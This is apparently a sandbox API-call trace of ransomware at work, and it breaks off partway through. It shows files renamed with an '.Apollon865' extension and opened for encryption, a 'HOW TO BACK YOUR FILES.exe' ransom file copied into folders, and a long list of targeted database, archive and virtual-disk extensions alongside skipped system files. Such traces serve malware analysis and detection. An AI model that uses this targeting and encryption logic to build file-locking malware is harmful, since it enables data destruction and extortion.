	[0058.411] lstrlenW (lpString="xmlff") returned 5
	[0058.411] lstrcmpiW (lpString1="l.pat", lpString2="xmlff") returned -1
	[0058.411] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.Apollon865") returned 80
	[0058.411] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.apollon865"), dwFlags=0x1) returned 1
	[0058.412] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0058.412] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=16384) returned 1
	[0058.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0058.412] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bff80) returned 1
	[0058.413] CryptGenRandom (in: hProv=0x5bff80, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.413] CryptReleaseContext (hProv=0x5bff80, dwFlags=0x0) returned 1
	[0058.413] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x118
	[0058.418] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000
	[0058.424] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bff80) returned 1
	[0058.425] CryptGenRandom (in: hProv=0x5bff80, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.425] CryptReleaseContext (hProv=0x5bff80, dwFlags=0x0) returned 1
	[0058.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0058.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0058.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.426] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.426] CloseHandle (hObject=0x118) returned 1
	[0058.426] CloseHandle (hObject=0x154) returned 1
	[0058.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0058.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.426] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0058.426] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0058.426] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0058.426] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery"
	[0058.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0058.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0058.426] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 64
	[0058.426] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery"
	[0058.427] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.427] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0058.427] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0058.427] GetLastError () returned 0x20
	[0058.427] Sleep (dwMilliseconds=0xc8) 
	[0058.629] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0058.629] GetLastError () returned 0x20
	[0058.629] Sleep (dwMilliseconds=0xc8) 
	[0058.831] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0058.831] GetLastError () returned 0x0
	[0058.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0058.831] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0058.831] CloseHandle (hObject=0x118) returned 1
	[0058.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0058.831] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.831] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e921210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e921210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0058.831] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.831] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.831] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0058.831] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e921210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e921210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0058.831] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.832] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0058.832] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0058.832] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0058.832] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="Apollon865.txt.exe") returned 1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2=".") returned 1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="..") returned 1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="windows") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgr") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="temp") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="pagefile.sys") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="boot") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="ids.txt") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.dat") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="perflogs") returned -1
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2="MSBuild") returned -1
	[0058.832] lstrlenW (lpString="Bears.htm") returned 9
	[0058.832] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*") returned 66
	[0058.832] lstrcpyW (in: lpString1=0x119e68a, lpString2="Bears.htm" | out: lpString1="Bears.htm") returned="Bears.htm"
	[0058.832] lstrlenW (lpString="Bears.htm") returned 9
	[0058.832] lstrlenW (lpString="Apollon865") returned 10
	[0058.832] lstrlenW (lpString=".dll") returned 4
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2=".dll") returned 1
	[0058.832] lstrlenW (lpString=".lnk") returned 4
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2=".lnk") returned 1
	[0058.832] lstrlenW (lpString=".ini") returned 4
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2=".ini") returned 1
	[0058.832] lstrlenW (lpString=".sys") returned 4
	[0058.832] lstrcmpiW (lpString1="Bears.htm", lpString2=".sys") returned 1
	[0058.832] lstrlenW (lpString="Bears.htm") returned 9
	[0058.832] lstrlenW (lpString="bak") returned 3
	[0058.832] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0058.832] lstrlenW (lpString="ba_") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0058.833] lstrlenW (lpString="dbb") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0058.833] lstrlenW (lpString="vmdk") returned 4
	[0058.833] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0058.833] lstrlenW (lpString="rar") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0058.833] lstrlenW (lpString="zip") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0058.833] lstrlenW (lpString="tgz") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0058.833] lstrlenW (lpString="vbox") returned 4
	[0058.833] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0058.833] lstrlenW (lpString="vdi") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0058.833] lstrlenW (lpString="vhd") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0058.833] lstrlenW (lpString="vhdx") returned 4
	[0058.833] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0058.833] lstrlenW (lpString="avhd") returned 4
	[0058.833] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0058.833] lstrlenW (lpString="db") returned 2
	[0058.833] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0058.833] lstrlenW (lpString="db2") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0058.833] lstrlenW (lpString="db3") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0058.833] lstrlenW (lpString="dbf") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0058.833] lstrlenW (lpString="mdf") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0058.833] lstrlenW (lpString="mdb") returned 3
	[0058.833] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0058.834] lstrlenW (lpString="sql") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0058.834] lstrlenW (lpString="sqlite") returned 6
	[0058.834] lstrcmpiW (lpString1="rs.htm", lpString2="sqlite") returned -1
	[0058.834] lstrlenW (lpString="sqlite3") returned 7
	[0058.834] lstrcmpiW (lpString1="ars.htm", lpString2="sqlite3") returned -1
	[0058.834] lstrlenW (lpString="sqlitedb") returned 8
	[0058.834] lstrcmpiW (lpString1="ears.htm", lpString2="sqlitedb") returned -1
	[0058.834] lstrlenW (lpString="xml") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0058.834] lstrlenW (lpString="$er") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0058.834] lstrlenW (lpString="4dd") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0058.834] lstrlenW (lpString="4dl") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0058.834] lstrlenW (lpString="^^^") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0058.834] lstrlenW (lpString="abs") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0058.834] lstrlenW (lpString="abx") returned 3
	[0058.834] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0058.834] lstrlenW (lpString="accdb") returned 5
	[0058.834] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1
	[0058.834] lstrlenW (lpString="accdc") returned 5
	[0058.834] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1
	[0058.834] lstrlenW (lpString="accde") returned 5
	[0058.834] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1
	[0058.834] lstrlenW (lpString="accdr") returned 5
	[0058.834] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1
	[0058.834] lstrlenW (lpString="accdt") returned 5
	[0058.834] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1
	[0058.834] lstrlenW (lpString="accdw") returned 5
	[0058.834] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1
	[0058.834] lstrlenW (lpString="accft") returned 5
	[0058.835] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1
	[0058.835] lstrlenW (lpString="adb") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.835] lstrlenW (lpString="adb") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.835] lstrlenW (lpString="ade") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0058.835] lstrlenW (lpString="adf") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0058.835] lstrlenW (lpString="adn") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0058.835] lstrlenW (lpString="adp") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0058.835] lstrlenW (lpString="alf") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0058.835] lstrlenW (lpString="ask") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0058.835] lstrlenW (lpString="btr") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0058.835] lstrlenW (lpString="cat") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0058.835] lstrlenW (lpString="cdb") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0058.835] lstrlenW (lpString="ckp") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0058.835] lstrlenW (lpString="cma") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0058.835] lstrlenW (lpString="cpd") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0058.835] lstrlenW (lpString="dacpac") returned 6
	[0058.835] lstrcmpiW (lpString1="rs.htm", lpString2="dacpac") returned 1
	[0058.835] lstrlenW (lpString="dad") returned 3
	[0058.835] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0058.836] lstrlenW (lpString="dadiagrams") returned 10
	[0058.836] lstrlenW (lpString="daschema") returned 8
	[0058.836] lstrcmpiW (lpString1="ears.htm", lpString2="daschema") returned 1
	[0058.836] lstrlenW (lpString="db-journal") returned 10
	[0058.836] lstrlenW (lpString="db-shm") returned 6
	[0058.836] lstrcmpiW (lpString1="rs.htm", lpString2="db-shm") returned 1
	[0058.836] lstrlenW (lpString="db-wal") returned 6
	[0058.836] lstrcmpiW (lpString1="rs.htm", lpString2="db-wal") returned 1
	[0058.836] lstrlenW (lpString="dbc") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0058.836] lstrlenW (lpString="dbs") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0058.836] lstrlenW (lpString="dbt") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0058.836] lstrlenW (lpString="dbv") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0058.836] lstrlenW (lpString="dbx") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0058.836] lstrlenW (lpString="dcb") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0058.836] lstrlenW (lpString="dct") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0058.836] lstrlenW (lpString="dcx") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0058.836] lstrlenW (lpString="ddl") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0058.836] lstrlenW (lpString="dlis") returned 4
	[0058.836] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0058.836] lstrlenW (lpString="dp1") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0058.836] lstrlenW (lpString="dqy") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0058.836] lstrlenW (lpString="dsk") returned 3
	[0058.836] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0058.837] lstrlenW (lpString="dsn") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0058.837] lstrlenW (lpString="dtsx") returned 4
	[0058.837] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0058.837] lstrlenW (lpString="dxl") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0058.837] lstrlenW (lpString="eco") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0058.837] lstrlenW (lpString="ecx") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0058.837] lstrlenW (lpString="edb") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0058.837] lstrlenW (lpString="epim") returned 4
	[0058.837] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0058.837] lstrlenW (lpString="fcd") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0058.837] lstrlenW (lpString="fdb") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0058.837] lstrlenW (lpString="fic") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0058.837] lstrlenW (lpString="flexolibrary") returned 12
	[0058.837] lstrlenW (lpString="fm5") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0058.837] lstrlenW (lpString="fmp") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0058.837] lstrlenW (lpString="fmp12") returned 5
	[0058.837] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1
	[0058.837] lstrlenW (lpString="fmpsl") returned 5
	[0058.837] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1
	[0058.837] lstrlenW (lpString="fol") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0058.837] lstrlenW (lpString="fp3") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0058.837] lstrlenW (lpString="fp4") returned 3
	[0058.837] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0058.838] lstrlenW (lpString="fp5") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0058.838] lstrlenW (lpString="fp7") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0058.838] lstrlenW (lpString="fpt") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0058.838] lstrlenW (lpString="frm") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0058.838] lstrlenW (lpString="gdb") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.838] lstrlenW (lpString="gdb") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0058.838] lstrlenW (lpString="grdb") returned 4
	[0058.838] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0058.838] lstrlenW (lpString="gwi") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0058.838] lstrlenW (lpString="hdb") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0058.838] lstrlenW (lpString="his") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0058.838] lstrlenW (lpString="ib") returned 2
	[0058.838] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0058.838] lstrlenW (lpString="idb") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0058.838] lstrlenW (lpString="ihx") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0058.838] lstrlenW (lpString="itdb") returned 4
	[0058.838] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0058.838] lstrlenW (lpString="itw") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0058.838] lstrlenW (lpString="jet") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0058.838] lstrlenW (lpString="jtx") returned 3
	[0058.838] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0058.839] lstrlenW (lpString="kdb") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0058.839] lstrlenW (lpString="kexi") returned 4
	[0058.839] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0058.839] lstrlenW (lpString="kexic") returned 5
	[0058.839] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1
	[0058.839] lstrlenW (lpString="kexis") returned 5
	[0058.839] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1
	[0058.839] lstrlenW (lpString="lgc") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0058.839] lstrlenW (lpString="lwx") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0058.839] lstrlenW (lpString="maf") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0058.839] lstrlenW (lpString="maq") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0058.839] lstrlenW (lpString="mar") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0058.839] lstrlenW (lpString="marshal") returned 7
	[0058.839] lstrcmpiW (lpString1="ars.htm", lpString2="marshal") returned -1
	[0058.839] lstrlenW (lpString="mas") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0058.839] lstrlenW (lpString="mav") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0058.839] lstrlenW (lpString="maw") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0058.839] lstrlenW (lpString="mdbhtml") returned 7
	[0058.839] lstrcmpiW (lpString1="ars.htm", lpString2="mdbhtml") returned -1
	[0058.839] lstrlenW (lpString="mdn") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0058.839] lstrlenW (lpString="mdt") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0058.839] lstrlenW (lpString="mfd") returned 3
	[0058.839] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0058.839] lstrlenW (lpString="mpd") returned 3
	[0058.840] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0058.840] lstrlenW (lpString="mrg") returned 3
